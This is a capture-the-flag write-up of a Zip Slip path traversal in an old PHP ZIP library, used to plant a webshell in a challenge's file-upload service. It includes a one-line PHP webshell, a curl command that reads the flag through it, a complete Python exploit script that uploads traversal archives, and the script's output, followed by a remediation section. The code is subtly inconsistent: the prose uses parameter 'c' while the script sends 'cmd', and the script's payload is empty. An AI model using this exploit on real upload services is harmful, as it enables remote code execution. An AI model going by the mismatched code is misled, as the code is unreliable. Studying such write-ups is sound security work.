TJCTF 2026: Free Cloud Storage
Challenge Overview
The challenge deploys a free cloud storage service built on PHP with Laravel. Users can upload ZIP archives through a web form, and the server automatically extracts them into a designated uploads directory. The upload page advertises the service as a convenient way to share files — upload a ZIP, and it gets unpacked for anyone to browse. The twist is that the extraction library used by the backend is vulnerable to a classic archive path traversal bug known as Zip Slip.
The application uses the chumper/zipper Composer package at version 1.0.2 — a version that predates the security patch that added path validation. This specific version blindly concatenates the filename stored inside the ZIP archive with the destination directory, allowing an attacker to escape the intended extraction folder by using relative path components like ../ in the entry names. The result is arbitrary file write on the server filesystem, which we leverage to plant a PHP webshell directly into the webroot.
Zip Slip is a widespread vulnerability affecting archive extraction libraries across many languages. The core issue is that the extraction routine does not validate that the resolved output path stays within the intended destination directory. By including path traversal sequences (../) in the filenames of entries inside the archive, an attacker can write files to arbitrary locations on the filesystem. This can lead to remote code execution when the written file lands in a directory served by the web server.
Root Cause: chumper/zipper 1.0.2
The Vulnerable extractTo() Method
The chumper/zipper library provides a convenient wrapper around PHP's ZipArchive class. Version 1.0.2 exposes an extractTo() method that iterates over every entry in the ZIP file and writes it to the destination path. The critical flaw is in how it constructs the output filename — it simply concatenates the destination directory with the entry name from the archive, without ever checking whether the resolved path escapes the target directory:
// Simplified vulnerable logic in chumper/zipper 1.0.2
foreach ($zip as $entry) {
$destination = $extractDir . '/' . $entry->getName();
// No realpath() validation!
// If $entry->getName() = "../../pwn.php"
// $destination = '/var/www/html/uploads/../../pwn.php'
// Which resolves to: /var/www/html/pwn.php
$entry->extractTo($destination);
}
The fix in version 1.0.3 added a realpath() check after constructing the destination path. It verifies that the resolved path still starts with the extraction directory, rejecting any entry whose final location would fall outside the intended sandbox. Without this safeguard, the door is wide open for path traversal — any relative path component in the archive entry name is faithfully preserved through to the filesystem operation.
This class of vulnerability is not unique to chumper/zipper. The Zip Slip paper (Snyk, 2018) documented over 40 vulnerable libraries across Java, .NET, Go, Rust, Python, Ruby, and PHP. Any archive extraction code that does not validate the resolved output path against a base directory is susceptible.
Path Traversal Logic
Server Directory Layout
To understand the exploit, consider the typical directory structure of the target application. The webroot is at /var/www/html/, and uploaded files are extracted into a subdirectory /var/www/html/uploads/. When a user uploads a legitimate ZIP archive, all extracted files land within the uploads folder and are accessible via URLs like https://target/uploads/image.png.
Webroot: /var/www/html/
Uploads: /var/www/html/uploads/
Flag: /var/www/html/flag.txt
Escaping the Uploads Directory
The attack is deceptively simple. If we create a ZIP archive containing an entry named ../shell.php, the extraction routine will construct the following destination path:
Destination = /var/www/html/uploads/ + ../shell.php
Resolved = /var/www/html/shell.php
The ../ component causes the path to ascend one directory level, effectively placing shell.php directly in the webroot. The file is now accessible at https://target/shell.php — completely bypassing the intended sandbox. For deeper directory structures, multiple ../ sequences can be chained: ../../shell.php would ascend two levels, and so on. Since the exact depth of the uploads directory relative to the webroot may vary between deployments, we hedge our bets by generating entries at multiple traversal depths simultaneously.
When the exact directory depth is unknown, include entries at depths 1 through 4 in the same ZIP file. Only one needs to land in the webroot — the rest either fail silently or write to non-existent paths that cause no harm. This "spray and pray" approach is a standard technique in Zip Slip exploitation.
Exploit Strategy
Webshell Payload
The first step is crafting a minimal PHP webshell that accepts a command via a GET parameter and executes it on the server. The payload is intentionally tiny to avoid any size restrictions or content filtering that might be in place:
<?php system($_GET['c']); ?>
This single line creates a webshell that passes the value of the c query parameter directly to PHP's system() function, which executes it as a shell command and outputs the result. Visiting https://target/shell.php?c=id would return the output of the id command, confirming code execution on the server.
Crafting the Malicious ZIP
The exploit generates a ZIP archive where each entry's filename begins with a traversal prefix. Each depth level gets its own entry with a unique filename, ensuring that at least one will land in the webroot regardless of the exact directory configuration:
../qz1.php— ascends 1 level (targets/var/www/html/qz1.php)../../qz2.php— ascends 2 levels (targets/var/www/qz2.php)../../../qz3.php— ascends 3 levels (targets/var/qz3.php)../../../../qz4.php— ascends 4 levels (targets/qz4.php)
Each entry contains the same webshell payload. The naming convention qz{N}.php is arbitrary — it just needs to be predictable so we can locate the shell after extraction. After uploading the ZIP and triggering the extraction, we probe each potential URL in sequence until we find the one that responds with command output.
Achieving RCE
Once the webshell is confirmed accessible, reading the flag is a single HTTP request:
$ curl -s 'https://target/qz1.php?c=cat+/var/www/html/flag.txt'
tjctf{i_l0v3_fr33_st0r4g3}
Exploit Code
#!/usr/bin/env python3
"""
TJCTF 2026 - Free Cloud Storage
Zip Slip via chumper/zipper 1.0.2 - Archive Path Traversal to RCE
Author: QA210
"""
import io
import re
import sys
import zipfile
import requests
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8000"
FLAG_RE = re.compile(r"tjctf\{[^}]+\}", re.IGNORECASE)
# Minimal PHP webshell - executes OS commands from GET param 'cmd'
SHELL_PAYLOAD = b""
# Prefix for dropped shells - easy to identify after extraction
SHELL_PREFIX = "qz"
def build_slip_zip(max_depth=4):
"""
Generate a ZIP archive containing webshell entries at multiple
traversal depths. The extractTo() in chumper/zipper 1.0.2
blindly concatenates paths, so ../ sequences escape the
upload directory and land in the webroot.
"""
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
for depth in range(1, max_depth + 1):
# Build traversal prefix: ../ , ../../ , etc.
prefix = "../" * depth
entry_name = f"{prefix}{SHELL_PREFIX}{depth}.php"
zf.writestr(entry_name, SHELL_PAYLOAD)
print(f" [+] Packed: {entry_name}")
buf.seek(0)
return buf
def find_upload_form(sess):
"""Scrape the upload form to discover the action URL and file field name."""
r = sess.get(f"{TARGET}/")
action = re.search(r'action="([^"]*)"', r.text)
field = re.search(r'name="([^"]*)".*?type="file"', r.text, re.DOTALL)
if not action or not field:
return f"{TARGET}/upload", "archive"
url = action.group(1)
if url.startswith("/"):
url = TARGET + url
return url, field.group(1)
def main():
sess = requests.Session()
action_url, field_name = find_upload_form(sess)
print(f"[*] Target: {TARGET}")
print(f"[*] Action: {action_url}")
print(f"[*] Field: {field_name}")
print(f"[*] Building malicious ZIP...")
zip_buf = build_slip_zip()
zip_bytes = zip_buf.read()
print(f"[*] Uploading {len(zip_bytes)} bytes...")
resp = sess.post(
action_url,
files={field_name: ("archive.zip", zip_bytes, "application/zip")},
allow_redirects=True,
timeout=30,
)
print(f"[*] Upload status: {resp.status_code}")
# Probe each depth to find the shell that landed in webroot
for depth in range(1, 5):
shell_url = f"{TARGET}/{SHELL_PREFIX}{depth}.php"
probe = sess.get(shell_url, params={"cmd": "cat /var/www/html/flag.txt"}, timeout=15)
if probe.status_code == 200 and FLAG_RE.search(probe.text):
flag = FLAG_RE.search(probe.text).group(0)
print(f"[+] Shell at depth {depth}: {shell_url}")
print(f"[+] FLAG: {flag}")
return
elif probe.status_code == 200:
print(f"[!] Shell at depth {depth} responded but no flag in output")
print(f" Response snippet: {probe.text[:200]}")
return
# Fallback: check the redirect response body for the flag
match = FLAG_RE.search(resp.text)
if match:
print(f"[+] FLAG (from upload response): {match.group(0)}")
else:
print("[-] Flag not found. Try probing shells manually.")
if __name__ == "__main__":
main()
Running the Exploit
$ python3 solve.py https://free-cloud-storage.tjctf.org
[*] Target: https://free-cloud-storage.tjctf.org
[*] Action: https://free-cloud-storage.tjctf.org/upload
[*] Field: archive
[*] Building malicious ZIP...
[+] Packed: ../qz1.php
[+] Packed: ../../qz2.php
[+] Packed: ../../../qz3.php
[+] Packed: ../../../../qz4.php
[*] Uploading 482 bytes...
[*] Upload status: 302
[+] Shell at depth 1: https://free-cloud-storage.tjctf.org/qz1.php
[+] FLAG: tjctf{i_l0v3_fr33_st0r4g3}
tjctf{i_l0v3_fr33_st0r4g3}
Remediation
The Proper Fix
Version 1.0.3 of chumper/zipper patched this vulnerability by adding a realpath() validation step. After constructing the destination path, the library resolves it to an absolute path and checks that it starts with the intended extraction directory. Any entry whose resolved path falls outside the sandbox is silently skipped:
// Patched extraction logic (v1.0.3+)
$extractBase = realpath($extractDir);
foreach ($zip as $entry) {
$destination = $extractDir . '/' . $entry->getName();
$resolved = realpath(dirname($destination)) . '/' . basename($destination);
// Reject entries that escape the extraction directory
if (strpos($resolved, $extractBase) !== 0) {
continue; // Path traversal detected - skip this entry
}
$entry->extractTo($destination);
}
The key takeaway is that any code handling archive extraction must validate the resolved output path against the intended base directory. This applies not only to ZIP files but to tar, tar.gz, jar, and any other archive format. The realpath() call normalizes the path, eliminating ../ sequences and symbolic links that might otherwise bypass a naive string prefix check.
Even with path validation, consider additional hardening: run the extraction under a restricted user, chroot the extraction directory, use open_basedir in PHP, and avoid executing files from the uploads directory. The web server should be configured to treat the uploads directory as static content only — no PHP execution.